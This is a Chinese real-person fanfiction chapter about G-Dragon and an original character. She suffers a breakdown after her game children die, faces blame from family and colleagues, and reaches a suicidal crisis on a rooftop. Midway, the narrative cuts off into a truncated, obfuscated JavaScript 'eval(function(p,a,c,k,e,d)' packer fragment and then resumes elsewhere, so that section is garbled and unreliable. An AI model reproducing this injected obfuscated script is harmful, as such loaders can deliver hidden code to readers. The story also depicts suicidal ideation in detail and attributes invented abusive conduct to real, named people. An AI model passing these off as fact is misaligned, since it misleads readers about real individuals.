权志龙亲吻她的额头,问她害怕什么,江留月讲不出来,只是用充满雾气的双眼看着他,那时候权 志龙总觉得这一刻她似乎很委屈,有很多话要讲。 但她最终只是噘噘嘴,说哥哥亲亲。 权志龙嗤笑起来,偏偏不去亲她,而是摸了一根烟点燃,抽了一口眯着眼睛看着她,看她委屈巴巴 的样子,才勾着嘴唇笑着逗她:“小色女。” 他在江留月张嘴要辩解之前亲上去,一边亲一边笑她。 唇舌交接怎么会是那么愉快的事情,似乎某个部分的江留月被他吮吸到身体里,融化成他身体的一 部分,带来热乎乎的酥麻感。 这样甜蜜的要融化的日子他们每天都在过,权志龙的压力和紧绷的神经在江留月的怀中烟消云散, 他甚至幸福到停止幻想未来。 他的未来就在他的怀抱里沉睡。 仔细想想,那段时间他们连吵架都很少很少,所以……为什么最后一个房间会是在这个时间? 权志龙正百思不得其解的时候,门被敲响了,然后一个工作人员探头进来:“Alice,我们差不多要去确认家族con的服装部分咯。” 江留月答应了一声,权志龙看到她在保存手机的游戏信息,然后将手机放在了沙发上的包包里。 第三者介入之后,就没人能看到他了,权志龙便跟幽灵一样跟了上去,江留月去试衣服和造型,他 一直守着她,没有任何异常发生。 周围的一切都是他所熟悉的,李顺英守在那,充当着他忠实的眼睛和耳朵。 江留月和staff在聊天,不知道有谁提到了《甜蜜家园》,江留月露出隐秘的愉悦笑容,看起来很 骄傲的样子。 “Alice要不要玩,很有趣的。” 有工作人员热情安利。 江留月笑着摇了摇头:“不了,我不喜欢这种。” 啊。 权志龙先是意外了一下,然后才反应过来,这个游戏只是在他们的至亲中流传,江留月只拉了一些 真的亲友进来。 因为韩国游戏是实名制的,一个身份ID只能创建一个账号,江留月不能让人发现她和权志龙的账号 在游戏里结婚,就像是现实中,他们一直没有真的公开过交往一样。 不公开考虑的因素很多,最大的原因还是江留月的强烈反对,她提出很多说法,比如双方的狂热粉 丝都很多,初期的YGfamily关系太好,江留月的各方CP粉也势力强大,贸然公开可以说百害无一利 等等。 总之,他们已经交往好几年了,私生和大站姐也基本都知道,但只要不是自己的圈子,哪怕是在公 司里,他们其实也都有在尽量注意,面对媒体,那更是任凭暗示千百回,也不能落人口实真的承 认。 江留月很注意这些,她总是尽量避嫌不要出现,权志龙越是猛烈示好,她越是努力回避,这种划清 界限的做法一度让权志龙很不高兴。 【我是什么拿不出手的男朋友吗?】 他很多次跟江留月吵架就要说这个,虽然他也知道,真的公开确实会给双方很大的压力,很多行为 都会被放大解读,但他就是气不过。 【塔伊啊,你不想和哥光明正大的牵着手约会吗?】 “……看来不是不想啊。” 权志龙看着江留月竖着耳朵听大家讨论《甜蜜家园》,嘴角带着笑的样子,忽然理解到了江留月对 这个游戏的沉迷。 那是一个可以光明正大的相爱的世界。 他们坦荡的手拉着手从家门口出去,经过热闹的街道,去情侣餐厅吃饭,做情侣游戏拿奖品,他可 以把人带到公司里去,说这是我的太太,也可以直接出现在江留月的画室里,NPC和玩家们都会送 出真挚的祝福。 游戏里的社区还会有工作人员上来做家庭调查,他们一起拍了全家福,还参加了社区的‘幸福家庭大赛’,他不管走到哪里,头顶的姓名旁边都有一枚亮晶晶的刷了首饰工匠90%好感度才获取的钻 戒表明他已婚的身份。 没有人知道他们是GD和Alice,现实中辱骂过他们的网友可能在游戏里是送给他们一篮草莓道具的 同好,那些集中在他们上的视线,过度批判的眼神,全部都消失了。 “欧尼,都结束了吧,那我走咯!” 江留月换回自己的衣服,一边整理衣领一边说道。 “嗯,你可以……呀,这孩子怎么那么着急呀,忙着干嘛去?” Staff疑惑的问道。 还能干嘛去啊。 权志龙无语的想到,他记得江留月保存之前特意勾选了一个消耗时间的委托任务,用积攒的道具兑换了一个无法氪金获取的亲子装皮肤,现在八成是着急回去看任务有没有完成呗。 他跟在江留月身后回到了工作室,江留月哼着歌打开了自己的手机,权志龙叹了口气,正打算找个 位置坐着等未知的事情发生的时候,江留月忽然整个人都撞在了桌子上,然后重重的摔在了地上。 “塔伊!!!!” 权志龙的手穿透了江留月的身体,他才意识到自己此时已经是‘旁观者’身份。 “怎么了,怎么了,你怎么了?!” 权志龙惊慌的蹲下来试图查看她出了什么事情,然后他就看到江留月脸上没有一丝血色,就连嘴唇 都是青色的,呼吸急促而破碎,像是看到了什么很恐怖的东西一样。 她看不到权志龙,只是自己哆嗦了一会儿,也不知道站起来的,直接跪着爬过去捡起了刚才撞飞的 手机,抖着手摁亮了熄灭的屏幕。 这下权志龙也看到了。 本来花团锦簇、热闹热闹的甜蜜家园,已成一片残垣断壁。 房顶和房间都被拆了,只留下一些基础架构,江留月却没有操控小人四处查看,她只是盯着屏幕上 那两条重重的灰色对话框。 【请节哀,妈妈,您的孩子eden(4岁)掉入了泳池,他失去了生命,重新回到天国当小天使了。】 【请节哀,妈妈,您的孩子幸江(2岁)从楼梯摔下,她失去了生命,重新回到天国当小天使 了。】 比手指先触碰屏幕的,是江留月的眼泪。 她没有说出来一句话,只是嘴唇不停的颤抖着,微微张开,像是怎么努力都呼吸不到空气,眼泪不 停地落下来,滴在手机屏幕上。 她的睫毛不停疯狂的抖动,表情恍惚了好一会儿,她哆嗦着用手点掉这两条通知,然后抖着手进入游戏的帮助手册,开始疯狂翻动。 “没关系,没关系,没关系……” 江留月喃喃自语:“妈妈来救你们……应该有办法的……应该有办法的……” 她胡乱擦了一把眼泪,瞪大红红的眼睛,翻阅着帮助手册里的文字,她努力的试图阅读,却怎么都 拼不起来这些早就熟悉的韩语字母。 “客服、客服、客服……” 江留月努力了好一会儿也无法集中精神,她也顾不得会被认出来或者别的,本能驱使着她开始给游 戏客服打电话。 对方接通的瞬间,虽然只是公式化的问候,江留月已经开始呜咽了,她咬了一口自己的拳头,才勉 强捋顺了呼吸,尽量清晰的说出自己的诉求,她先报上了自己的ID,然后开始描述自己遇到的情 况,当说到小孩子的名字的时候,她的眼泪疯狂的涌出来,流淌过她的脸颊和被咬出血痕的嘴唇: “eden……幸江……是……是的……是我们家的……是我们家的小孩子……eden4岁,幸江2岁…… 对,都是意外……我、我登录上游戏,就、就收到了……房子、房子不知道为什么……被拆掉 了……我想救他们……不是……请恢复……恢复数据可以吗?” 她一个劲的在发抖,喉咙里发出除了语言之外的咕咕的声音,像是什么东西要涌出来,又被她咽了 回去。 电话那头,客服的声音很温柔,也很公式化:“让您久等了,客人,这边查询到,房子拆除不是游 戏BUG,而是您这栋房屋的另一个玩家操作的,ID是******,您确认一下,这边是您游戏里的丈夫 是吧。” “我们这边可以看到,这位玩家在下午15点01分开始对房屋进行重新编辑,然后在15点24分保存了 编辑,房子拆除的状态是因为没有完成全部搭建,所以房间里的孩子会脱离活动范围进行自由活 动……自由活动情况会出现的意外事故,在孩子的养育手册里有标注,您可以在系统手册里面进行 重新确认。” 江留月像是被谁打了一拳,她下意识的点头,又下意识的摇头:“……不、不会……的……” “客人,能不能麻烦您这边确认一下呢?” “不、不是……先别说这个……小孩子……请先救我的小孩子……我要怎么做才能让他们回来…… 我要怎么操作……?我要去哪里买什么道具吗?还是、还是你们这边可以恢复数据……” 江留月混乱的摇着头,她在努力让自己清醒下来,攥着手机不断地流泪。 “啊,客人,很抱歉,我们这个游戏的数据是自动生成的,因为是随机自由游戏,所以生成的数据 是不可复刻和追溯的……所以……”客服那边似乎听到了她的哽咽声,也跟着叹了口气:“请您保 重身体,客人,不要太伤心了,您有这样的心意,孩子们是不会怨恨您的,他们和您在一起的时 间,一定非常幸福。” “……客人?” 客服那边呼唤了很多次,但是没有人回答,只有话筒那边断断续续的出来令人心碎的哭泣声。 客服叹了口气,很恭敬的说了一些场面话和结束用语,带着不忍挂断了电话。 江留月听到了断线的嘟嘟嘟声音,她似乎被吓了一跳,用慌张的表情看了一眼周围,然后,她几乎 是跌跌撞撞的爬起来跑到了书桌前,她抹了抹眼泪,开始进入网站搜索《甜蜜家园》的攻略,然后 不断地输入‘小孩子死亡怎么复活’。 她一个个点开网页,飞速的拉到最后,脸上的表情是一片青白,血色尽褪,她的状态太吓人了,以 至于权志龙站在旁边都不敢伸手触碰。 “……重新启动游戏,好的,重新启动游戏。” 好一会儿,她总算是找到了一个据称可以卡一下时间bug的方法,说是修改手机的时间之后重新进 入游戏,她立刻将时间调整为下午两点,然后将游戏后台删除之后重新进入。 也许是燃起了些许希望,江留月抿着唇,整个人的情绪都高昂了起来。 《甜蜜家园》的进度条终于走到了最后,进入游戏界面之后,江留月满怀希望的点开了基础信息, 然后怔住了那里。 居民:*** 年龄:31岁 婚姻状态:已婚 身体状态:健康 心情:悲伤 家庭成员:丈夫******(id:......) Eden(男性-4岁-已故)【可隐藏】 幸江(女性-2岁-已故)【可隐藏】 江留月恍恍惚惚了好一会儿,她的呼吸都是碎的,人无意识的前后摇晃着身体,像是三魂没了六魄 一般。 她想要点隐藏,却怎么都点不中那个小小图标,只好抖着手去关信息板。 信息板关掉的瞬间,她回到了中央地图,然后,一个金色的对话框突然跳了出来。 明明已经绝望了,江留月却还是忍不住看向那个对话框,渴望着哪怕一点希望。 然后,她就像是被踩到了尾巴的猫,忽然发出一声凄烈的哀嚎。 她捂着嘴直接倒在地上,止不住的干呕和呛咳,手指攥着地毯,整个人都拧成一个奇怪的形状,像 是踢翻在地上的积木塔一样。 她再也拿不住的手机掉到地上,翻了几下之后屏幕朝天,游戏里是欢快的小鼓在敲打,游戏里的看 板宠物跳出来丢出一个□□: 【亲爱的妈妈,您为宝贝选购的‘快乐猫咪亲子装’已经到货啦~恭喜您,快去商店将礼物带回家,送给可爱的小天使们当礼物吧!】 “呜、呜、呜……啊、啊……” 江留月发出支离破碎的嚎叫,手捂着自己的胸口蜷缩成一个虾米状,她大口大口的试图呼吸,却怎 么都呼吸不到空气。 她吃力的仰着头,泪水堆积在眼眶里,让她看什么都蒙上了一层厚重的马赛克。 模糊的白色光芒中,她看见一个小男孩牵着一个小女孩走过来,他金色的卷发湿漉漉的贴着额头, 衣服也在一个劲儿的滴水,小女孩头上缠着绷带。 真奇怪,明明他们都是半像素的卡通小人,江留月却下意识的伸出手想把他们抱在怀里,想让他们 感受到温度。 两只小手摸上了她的脸颊,为她擦拭眼泪。 江留月说不出话,她努力的嗫嚅着嘴唇,想要道歉,但却一个字都挤不出来,只有眼泪不停地涌出 来。 【你和志龙什么时候要孩子呢?你们两个人的孩子……哇,我光是想想,就觉得绝对了不起了。】 【不要怨恨我,明月,等你做了母亲,你就会知道,当妈妈是个很难的事情。】 【妈妈不是故意要打你的,明月,妈妈这样是因为爱你呀。】 【塔伊,你性格真好,感觉你会是个很好的妈妈呢。】 我? 我会是个好妈妈吗? 江留月不知道,她也不确定,权志龙这两年频繁的提结婚,权家的父母和姐姐偶尔也会提起话题, 说期盼他们之间有孩子诞生。 但江留月从来都没有自信。 情到浓时,她也曾看着权志龙的侧脸想,这个人会是个温柔的好爸爸,那我呢,我会是个合格的妈 妈吗? 她也想过自己和权志龙的小孩会是什么样,当然,绝对不可能金发碧眼,也不会是个日本娃娃。 可是在游戏里,当随机生成的婴儿来到她的身边,当她和权志龙两个人翻着词典讨论着名字,又把 字母输入系统,看到‘eden’和“幸江”这两个名字出现在信息面板,当购买小孩子所需用品时, NPC改口称呼她为妈妈的时候,她竟然很自然的接受了,甚至看着只是一团像素的小孩,有了一种 奇妙的责任感。 我会做得很好的。 江留月想。 Eden:是的,妈妈是很好的妈妈。 Eden:妈妈,我很幸福。 幸江:爱心符号,爱心符号。 她很坏。 江留月看着两个小孩子面前的对话框,看着上面浮现的文字,她胸口翻涌的情绪,只剩下对不起。 她很坏,她很坏,她什么都没做好。 她很坏,她很坏。 Eden:爱你,妈妈,再见。 幸江:爱心符号,爱心符号,爱心符号。 两个小孩子身上的像素方块开始翻动,他们的面容变得模糊,成为一块无法辨识的色块,然后,无 声的消散。 江留月始终无法发出声音,像是有人重重的捂着她的口鼻。 “……————————————” 江留月无法发出声音,她只是在试图嚎叫,缺氧让她眼前发黑,两只手下意识的在空中乱抓,她想 要呼吸到空气,她需要呼吸到空气。 “塔伊、塔伊、塔伊……呼吸……呼吸……快呼吸……塔伊!!!” 权志龙跪在她旁边试图抓住她,但他此刻,只是个旁观者,透明的手一次次错过她求助的手,他的 声音也无法被她听到。 他恐慌极了,江留月的脸已经从没有血色变成了通红,眼睛里不停涌出泪水,她像是一只垂死挣扎的蝴蝶,在蜘蛛网中撕裂了翅膀,不断抖落破碎的鳞粉。 “塔伊,塔伊,哥哥在这,呼吸,呼吸……求你了……求你…呼吸……是我的错,塔伊,是我的 错,是我的错,呼吸,求你了,求你了……” 权志龙语无伦次的哀求着,他试图抓住她的手,试图去给她渡气,但很显然,作为旁观者,他什么 都做不到。 “……Alice?!天啊,来人啊!!快来人!!!” 好在这时候总算有工作人员听到了动静进来了,她惊慌抱住江留月,意识到她碱中毒之后,立刻大声疾呼。 YG医务室的医生立刻赶到进行了紧急处理,但江留月状态极差,几乎立刻进入了半昏迷状态,经纪 人一边把她送往医院,一边打电话通报。 直到江留月的身体体征恢复平稳,权志龙才瘫软在地上。 他不知道。 原本,他这个时候在果川拍摄室外广告,接到电话才知道江留月忽然昏倒了,当时他们只告诉他, 江留月昏倒了在医院治疗,没有说为什么。 权志龙立刻往回赶,结果在大桥上又堵车,等到他赶到医院的时候,江留月已经醒了。 他记得自己推开门走进病房,江留月就那么木呆呆地坐在床上。 他慌乱的叫着她的名字,想要走过去抱住她的时候,江留月忽然爆发,把自己手上能抓到的东西都 朝他砸过去,她手上的点滴也甩脱了,金属架翻在地上。 权志龙一脸茫然的下意识后退,用手挡住朝着自己砸过来的东西,他不顾江留月激动的情绪,冲上 去抓住了她的手腕。 她太瘦了,又没有什么力气,再怎么挣扎,权志龙都控制住了她,强迫她冷静下来,问她发生了什 么事情。 “……我恨你。” 江留月的眼泪再次涌了出来:“我恨你,权志龙,我真的恨你。” “你为什么……” 她的呼吸太急促脆弱了,才说了两句话就要上不来气了,权志龙吓坏了,一边给她顺气一边安抚 她。 “别怕,塔伊,别怕,慢慢说,怎么了,怎么了,哥哥在。” 他忙不迭的亲她的脸颊,给她顺气,握着她的手腕将她的手塞在自己的怀里暖:“别怕,塔伊,慢 慢说。” 江留月却忽然顿住了。 她看着他,表情逐渐变得绝望起来。 权志龙不明所以的看着她,她的状态好差,整个人都是精神恍惚的状态,像是受了很大的惊吓。 “怎么了宝贝,是哥哥,哥哥来了。” 他一个劲儿的把她往自己的怀里塞:“不怕不怕,没事了,塔伊啊,没事了,哥哥在。” 他搂着江留月拍着她的后背哄她,可怎么哄,江留月都是精神恍惚的一个劲儿流泪。 “你怎么了,你受伤了?”权志龙以为她情绪稳定一些了,于是将她抱在怀里,拉出已经暖热的 手,他的大拇指一直摁着输液的地方,护士过来给他止血贴布,然后轻声询问是否需要帮助。 “没事的,这孩子只是吓坏了,请您先出去吧,等她稍微缓过来一些再请你们过来。” 权志龙把人搂在怀里,尽量态度温和的说道。 江留月蜷缩在他的怀里,表情一直都是一种恍惚的死寂。 所有人都出去了,只留下他们,权志龙像是抱着小孩一样抱着她,他也吓坏了,心脏到现在都过速 跳动,此时抱着怀里的人,确定她还好,才算是松了口气,权志龙低头亲着她的头发,轻声道: “坏孩子,哥哥都要被你吓死了,怎么忽然昏倒了。” “哪里痛?嗯?你哪里不舒服?”他用手指抬起江留月的下巴,让江留月可以直视自己的双眼: “怎么了,塔伊,发生什么事儿了?” 江留月看着他那双漂亮的浅色瞳孔,他真切的担忧皱起的眉头,还有额头上的汗水,好一会儿,才 声音很轻很轻的问道: “哥哥,你把家拆掉了吗?” “……什么?” 权志龙没反应过来。 “哥哥,你是不是把家拆掉了。” 江留月便又问了一次。 “……?”权志龙还是没反应过来,直到对上江留月执拗的双眼,他也一脸的茫然:“……家…… 拆掉?塔伊……不是,你这孩子,说什么呢?” “甜蜜家园,哥哥,你应该和eden玩羽毛球的,可是你把家拆掉了……为什么?”江留月的语气忽 然急促起来,她看着权志龙的茫然的表情,情绪变得激烈起来:“你为什么要这样做?” “……啊……?啊,啊……啊!!!”权志龙总算是反应过来了,他哽了一下,然后下意识的直起 腰,露出了无辜的表情:“我想换个装修给你啊,你不是之前说那个墙壁好暗沉嘛,今天拍摄正好 出事儿,那个外景喷泉没有水了,我就想拆了重新装,结果,才开始,那个水管莫名其妙又来水 了,我只好先保存……等下。” 权志龙露出有些荒谬的表情:“……?因为这个??” 江留月低下了头,她好一会儿都没说话。 权志龙觉得荒谬,但氛围太可怕了,他也不敢说话,只是表情一会儿扭曲一会儿茫然,他实在不能 理解,甚至想偷偷的摸出手机进游戏看什么情况。 “志龙哥,你能先出去吗?” 江留月在这个时候开口,她抬起头,表情变得非常疲惫,整个人都有些摇摇晃晃的:“我暂时没办 法见你,求你了,你先出去,好吗?” “不是,塔伊,那只是个游戏啊!”权志龙瞪大了眼睛,这个事情已经荒谬到脱离他的想象了: “塔伊……?” “出去!!!!!” 江留月捂着耳朵尖叫起来,她的情绪过于激动,旁边的仪器都跟着报警,权志龙吓了一跳,赶紧妥 协认错:“好、好好、好……我出去,我出去,塔伊啊,哥现在就走!!” 他慌慌张张起身往后退,看着江留月随着他的离开情绪似乎会平稳一些,只好不理解也照做的退出 了房间。 护士进来简单的处理了江留月的伤口,让她平复情绪好好休息。 江留月谁也不见,病房里很快只剩下她一个人。 不。 还有一个,旁观者。 权志龙到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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自他和江留月交往,杨贤硕似乎对江留月一直都是爱答不理的状态,既不关注她,也不责骂她,权 志龙自认为是因为自己挡在了他和江留月之间包揽下了所有的冲突,却从不知道,江留月在背地里 被这样辱骂。 那孩子只是低着头垂着睫毛听着这些话,表情很是麻木。 权志龙呼吸都顿住了。 【她习惯了。】 一个可怕的想法闯入他的脑子。 他握紧了拳头,急促的在病房里来回踱步,江留月看不到他,他却无地自容。 然后,第二个电话来了。 第三个,第四个,第五个。 没有杨贤硕那样的辱骂,但没有一个电话是让江留月好过的。 ‘听说你为了个游戏把志龙从病房里赶出去了?是不是太过了?’ ‘志龙对你那么好,你也要懂点事情呀。’ ‘志龙这样都能忍你?羡慕死了,我也想要这样的男朋友。’ ‘志龙是不是这两天会在首尔陪你?要不要我带着花篮去看你?我有个事情想求他很久了。’ ‘公司里现在全乱套了,Alice,如果可以的话求你哄一下GD吧,这位生气的话,我们要怎么办 啊。’ 第六个是东永裴,他先关心了江留月的身体,然后叹了口气,开始替权志龙道歉。 “志龙肯定做得不对,我会骂他的,塔伊啊,别难过了,哥哥再买几个游戏补偿给你。” “但是,好孩子,你理解一下,志龙他没有坏心眼,原谅他吧,塔伊。” 江留月一脸麻木的处理着这些电话,有时候也打开短信看。 权志龙给她发了很多短信,别人发的也很多,大多都在求情,希望他们快点和好,也有旁敲侧击, 看权志龙这两天会不会陪她,会不会因此耽误工作进度。 “西八这群家伙,谁让他们这么做了?!谁允许他们这么做了!?!” 权志龙气得发疯,他捧在手心里如珠似宝的女孩,他连说句重话都要哄半天的小孩,谁要这群人替 他做主,替他道歉了? 他在病房里破口大骂,又不管江留月听不见,凑上去道歉,哀求她别把这些话放心里,别为了这些 难过。 江留月垂着睫毛回复着那些短信,全程眼神都很麻木。 她唯独没有回复权志龙,只是看着权志龙发过来的求和的信息,表情上浮现一丝绝望的悲切。 她没有说一句话,可沉重的痛苦却压得权志龙喘不过气。 这时候,门忽然响了,权志龙回过头,看到乔娜出现在门口,他愣了一下,随即松了口气:总算有人转移一下江留月的注意力了。 江留月也抬起了头,看到妈妈的出现,她的眼眶一下子就红了,在经历类似于丧子之痛的事件之 后,她迫切的需要母亲的情感承托。 “真是的,你为什么不能懂点事呢?塔伊?” 乔娜皱着眉冲上来就问,她双手环胸瞪着病床上的江留月:“呀,你怎么能不让志龙上来,怎么能 让他在楼下守着?” 江留月愣了一下,她并不知道权志龙在楼下守着,乔娜骤然发难,她有些慌张的看着妈妈,嘴巴嗫 嚅了一下,想要说话,却被乔娜打断。 “你怎么在这个时候生病呢?多耽误事啊,啊?爸爸的展览就在后天,你要我怎么办?”乔娜烦躁 的抓了一把自己的头发:“还有,你怎么跟志龙吵架了,他现在是什么你能随便吵架随便闹分手的 人吗?他真的和你分手了怎么办,嗯?你爸爸明年的系列展览还要靠他去牵人脉呢,怎么能这个时 候闹,你怎么就不能为父母着想呢?” “跟志龙道歉,然后赶紧和好吧,还有,你的身体怎么这样……你这样的话,结婚之后能顺利怀孕 吗?” 乔娜看着江留月脸色苍白,只是用黑白分明的眼睛一眨不眨的看着她,莫名有点怵得慌:“瞪着眼 睛看我有什么用,用点心好好抓着男人不好吗?难得碰到这么一个对你死心塌地的好男人,公婆也 好相处,你到底是有什么不满?” “妈妈。” 江留月看着乔娜,她的声音很平静,嘴唇却在微微颤抖,放在被子上的手下意识的握紧:“你都不 问什么原因吗?” “能有什么原因呢……?又不是出轨劈腿,那小子不是对你着迷的很吗?就算……”乔娜猛然顿 住,她可能也觉得自己说这种话不妥:“总之,你也是大人了,成熟一点处理问题好吗,塔伊?” 江留月听着这些话,听完了之后,却忽然冒出一句中文:“妈妈,你能叫我一次明月吗?” “……怎么了,忽然说中文,让我鸡皮疙瘩都起来了。”乔娜打了个寒颤,下意识的皱眉:“好端 端的,为什么要说中文。” “……妈妈,我想回家。” 江留月却自顾自的说话,她看着母亲,甚至下意识的伸出一只手:“妈妈,让我回家吧。” 乔娜愣了一下,然后几乎是脱口而出:“你要回家的话,就跟志龙回家啊。” 江留月的手在空中,没有放下。 她再怎么强忍着,在这个瞬间,也忍不住呜咽:“妈妈,我不能跟你回家吗?” 乔娜飞速的垂下了眼睛,脸上滑过不自在,她说道:“当初你自己不肯跟我们住的,现在回去怎么 办,连你的房间都没有。” “妈妈,我们不能回家吗?” 江留月却跟听不见一样,她固执的看着乔娜,泪水扑簌簌的往下掉:“我会很听话的,妈妈,让我 回家吧,我要回自己的家。” “你自己还有什么家。” 乔娜硬邦邦的说道,看到江留月流泪,她又叹了口气,露出有点疲惫的样子:“塔伊,你一直都很 懂事的……你又不是不知道,我们在中国早就什么都没了,你要回哪里去?回我们两个都挨骂,饭 都吃不饱的筒子楼,还是回吃人不吐骨头的江家?” “塔伊,清醒点吧,谁会要我们啊。” 她瞥了一眼江留月没有放下的手,别开了脸,好一会儿之后说:“别闹脾气了,别再和志龙吵架, 好好跟他回去吧,你真要回家的话,那里才是你的家。” 乔娜也觉得烦躁,她叹了口气:“好了,打起精神来吧,我去把志龙叫上来,塔伊啊,男人不是你 这样处的,他现在喜欢你,宠着你,那要是他不喜欢你了,你怎么办呢?” “你自己好好想想吧,我不会害你的,塔伊。” “别太犟了,男人就算是有真心……真心也是会变得,塔伊,到时候你要怎么办呢?” 乔娜离开了病房,权志龙也在这个时候找回了记忆,是的,他当时没敢走远,就在医院的一楼的 VIP休息室,乔娜来的时候被守在门口的经纪人认出来,他急忙前去问候,他怕江留月挨骂,所以 没敢说是因为游戏吵架,只是说闹别扭了,乔娜说她帮忙去劝一劝,他当时还松了口气。 他以为至少母女之间是温和的对话,有一些不能给男人听的秘密,从未想过这是对江留月的又一次 围剿。 江留月在乔娜之后就放下了手,她呆坐了几秒之后,忽然下了床,从衣柜里拿了件长外套穿上,又 换了鞋。 全程她都很平静,尽管脸上泪痕未干,她的动作也很快。 她飞速给自己整理完毕,然后戴上口罩,拉开病房的门,转身走进了安全通道。 权志龙跟在她的身后,大气也不敢出,看着她出了医院,上了出租车,她上车之后跟司机说去机 场,然后就低着头把自己埋入黑暗中。 等到了机场,她又让司机掉头回去。 司机都觉得荒唐,江留月掏出钱塞给他,司机只好又开车,但还是忍不住好奇问她怎么了。 “……没有签证。” 江留月含含糊糊的说道:“我忘了,没有许可,我回不去。” 司机很惊讶,说韩国护照还有不能去的地方? 江留月不搭茬,她在汉江公园下了车,然后顺着公园一直往河边走,越走人越少,她的脚步就越 快。 权志龙都快要疯了,他语无伦次的喊着江留月的名字,希望她停下脚步,他伸出手试图拉住她,但她已经开始往浅水区走了。 她没有说话,口罩挡着大半张脸,刚下浅水区走了几步路,就听到有人吹哨子大喊小姐你要干嘛! 江留月只好退出来,她不愿和人打交道,立刻快跑着离开,也许是慌不择路,她见到小胡同就钻, 权志龙心惊肉跳,生怕下一秒她会碰到坏人,但凌晨的巷子又窄又长,只有冰冷的空气变成潮湿的 白雾,覆盖在她急促喘息的脸庞上。 她剧烈的喘息,也不说话,呆着站了一会儿,开始往回走,权志龙怕她又去江边,整个人都要疯 了,她却换了个方向,走向了她的私人公寓。 “塔伊,好孩子,回家去,洗个热水澡,睡个好觉,醒来一切都会好的。” 权志龙快要虚脱了,他强撑着,也不管江留月听不听得到,一个劲儿的在她耳边重复道。 江留月听不见,她刷脸进入了公寓,然后进入电梯,摁了顶楼。 数字变化,红色的数字投影在她的脸庞上,像是一道道血线。 “塔伊……塔伊……塔伊……求你了塔伊……求你……别这样对我……别这样对我……” 权志龙全然忘了这是已经过去的事情,他浑身发抖,透明的手无数次试图抓住她的手,无数次试图 抱住她。 一切都是徒劳。 他只是旁观者。 江留月还是翻身上了阳台,她直接爬上了最边上的围栏,整个人都探出去往下看,权志龙心脏都要 骤停了。 “塔伊,求你了。” 他此时不过是个透明的灵魂,透明的眼泪从他眼睛里涌出来,不停涌出来。 “求你了,求你了,别这样对你自己。” 他不知道要怎么办才好,只能紧紧地抱着江留月,透明的手穿透她的身体,她像是一片树叶一样即 将从树枝头掉落。 寂静的凌晨,天空破晓欲白,冬末的冷风吹过,吹掉了江留月的帽子,扬起她的头发。 江留月忽然顿住了。 也许是寒冷的风让她陡然清醒了一瞬,她看着自己握着栏杆的手呆愣了两三秒。 她的呼吸再次变得急促起来,瞳孔一直在颤抖,她攥着栏杆的手紧了又松,一会儿回头看天台,一 会儿低下头看脚下的高空。 好一会儿,江留月忽然颤抖着开口了。 “哥哥。” 她哽咽着,攥紧了手里的栏杆,眼泪大颗大颗的滚落,她左看右看,试图从空旷的天台里,看到什 么。 最终,她什么都没看到,所以只好哭着又低下头看向高空。 眩晕感让她感觉到了害怕,她努力的吸了吸鼻子,自言自语的给自己打气: “我不害怕……从这里下去的话,我就能回家了。” 人要签证,要许可。 那鬼魂呢。 江留月想,鬼魂大概是不要的吧,她可以在机场飘荡,找一个说着故乡话的人,悄悄地跟着,不被 任何人发现和阻挡。 她只是一只小鬼魂,占不了位置,也没什么重量,等到飞机落地了,她可以一边问路一边回去。 “……哥哥,你在吗?” 江留月还是觉得害怕,她很小声的问道。 权志龙都要疯了,他紧紧地攥着江留月的手指,哆嗦着回应她:“塔伊,哥哥在这,哥哥在这。” “哥哥,我想回家,我想妈妈。” 江留月说完这句话,自己也茫然了一瞬:“奇怪,我刚才还见了她呀,可我怎么会觉得她不是我的妈妈呢。” 那她的妈妈是谁? 江留月恍惚了一下,不知道为什么眼前出现的,是一个熟悉的轮廓。 是把她搂在怀里,哼唱着摇篮曲的人,让她好好吃饭,好好睡觉,穿暖和的衣服,为她系鞋带,摆 碗筷,撑起雨伞的人。 淡色的漂亮眼睛,总是挑起的浓眉,高挺的鼻梁,秀气的嘴唇,看向她时若有似无的笑意和温暖的手。 她的嘴忽然用力的向下撇去,像是小孩子终于忍不住委屈,她抓着栏杆哆嗦着哭。 她一边哭,一边嘴里含糊的叫一个名字。 权志龙以为他在叫乔娜,于是慌乱而不知所措的凑近。 他听见她在叫,哥哥。 他于是像是被人从高空丢下,摔在地上,喷溅出碎骨一般,痛的人都要炸开了。 江留月那已经红肿的眼睛,被泪水沾湿的睫毛黏在一起,是怎么都挥动不了的蝴蝶翅膀。 她发出细不可闻的呓语,甚至松开了一只手去捂着自己的胸口,仿佛这样就能让碎裂的心脏好一 些。 “塔伊……别、别松手……” 权志龙快被她吓疯了,江留月松开一只手之后整个人都晃悠悠的像是随时要从狭窄的边缘摔落下去 一般。 “哥哥,为什么,为什么……” 江留月像是小孩子一样委屈的哽咽着,一开始还努力咬着嘴唇让自己不要哭太大声,后面越来越止 不住泪水,她张着嘴喘气,像是一寸寸的陷入沼泽地那样喘气,滚烫的泪水流下来,立刻变得冰 冷,划开她干涩的脸庞。 “为什么要拆掉我的家,哥哥。” “你把我的家拆掉了……” “我要去哪里啊……” 奇怪,明明只是一个游戏里的家。 江留月不知道自己为什么会那么恐惧,那么害怕。 “哥哥……我好难受……我不是在无理取闹……我真的好难受……” 江留月哭着说:“我没办法呼吸……我好伤心……我真的很痛苦……我真的不是在不懂事……我真 的控制不了自己……” 权志龙泣不成声,他从来没那么狼狈过,眼泪不停的涌出来,嘴里都是血腥味:“我知道……我知 道…对不起……现在才知道……对不起……塔伊……哥哥求你了……求你了……再坚持一下……再 坚持一下……” “哥哥……” 权志龙心都提到了嗓子眼,他害怕听到江留月说她坚持不住了,她也不想坚持了。 但下一秒,他听见江留月的哭喊: “哥哥,你救救我。” “我不想死……救救我,哥哥……救救我……我好难受……哥哥……救命……救救我……我不想 死……” 权志龙愣了一下,然后脸庞都因为激烈的情绪和痛苦扭曲了起来,他无法呼吸,头痛的要裂开。 啊。 塔伊。 原来是这样吗。 你从来都不曾想要放弃过自己。 你只是,太痛苦了。 你只是,希望从这样的痛苦里,得到解脱,是吗。 权志龙的心被碾成碎片,他每呼吸一下,都感觉到玻璃渣子在气管里来回翻涌。 眼前的一切,都让他觉得像是迎面被刀剐肉一般,撕开了他的皮囊,粗暴的填充进漫长岁月里,江 留月那些不被他看到的眼泪。 太阳在升起来,风吹过扬起有人忘记收走的床单,也扬起江留月的头发。 她恍惚了片刻,又想起了权志龙,她不能这么死,她要是这么死了,权志龙也活不了了。 她要回去。 她要回到权志龙身边去。 